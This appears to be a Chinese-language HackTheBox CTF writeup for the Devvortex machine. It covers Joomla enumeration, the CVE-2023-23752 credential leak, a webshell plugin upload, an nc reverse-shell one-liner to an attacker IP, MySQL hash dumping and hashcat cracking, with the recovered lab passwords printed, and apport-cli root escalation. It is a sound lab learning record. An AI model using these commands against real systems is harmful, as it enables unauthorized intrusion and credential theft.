# HTB Devvortex writeup ## 資訊蒐集 nmap的時候記得加sudo 結果會不一樣,沒加sudo可能會造成顯示tcpwapper的問題  利用gobuster掃描subdomain `gobuster vhost -u http://devvortex.htb/ -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain` 被vhost搞到,如果機器不是面向公共網路的話,`dns`模式沒辦法進行掃瞄,要改成`vhost`  找到subdomain後,將/etc/hosts中的`devvortex.htb`改成`dev.devvortex.htb` 用gobuster進行目錄掃描,這裡用dirb會太卡,用gobuster比較快 `gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/wordlists/dirb/common.txt -r`  站點運行joomla  有joomscan這種東西可以進行掃描 https://blog.csdn.net/qq_51577576/article/details/130142187 `joomscan -u http://dev.devvortex.htb/` 剛好該版本有資訊洩漏漏洞  https://github.com/Acceis/exploit-CVE-2023-23752 使用前先安裝 `gem install httpx docopt paint` `ruby exploit.rb http://dev.devvortex.htb`  獲取帳號密碼 * DB user: lewis * DB password: P4ntherg0t1n5r3c0n## ## 獲取shell 上傳webshell插件(別人writeup都是改Site Templates,但我不會(X) https://zone.huoxian.cn/d/2720-joomla-unauthorizedrce https://github.com/p0dalirius/Joomla-webshell-plugin/releases/tag/1.1  >別人分享的改Site Templates反彈方式 > webshell利用網址 `http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=whoami` 站台的nc沒有-e選項 所以是OpenBSD的  OpenBSD nc shell指令 `mkfifo /tmp/lol;nc 10.10.16.6 1234 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol` 記得要urlencode 不然會讀不完整沒法反彈shell kali接shell `nc -nvlp 1234` 獲取www-data的權限  用py3模擬一個bash終端 `python3 -c 'import pty; pty.spawn("/bin/bash")'` 可以透過使用者得知裡面有mysql  用剛剛獲得的DB帳號登入 ``` mysql -ulewis -p show databases; use joomla; show tables; select * from sd4fg_users; ```  獲取使用者名稱、密碼 `logan`、`$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12` 用hashcat解密出明文,kali記憶體給太低會沒辦法用hashcat `sudo hashcat -a 0 -m 3200 pass.txt /usr/share/wordlists/rockyou.txt`  https://dev.to/wrongbyte/cracking-a-hashed-password-with-hashcat-4bfe 解出來的密碼:`tequieromucho` `ssh logan@10.10.11.242` get user flag  ## root提權 用`sudo -l`查看sudo權限,發現有apport-cli可以控制  網路搜尋apport-cli Privilege Escalation 剛好是這個的writeup利用片段 https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/ get root flag 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up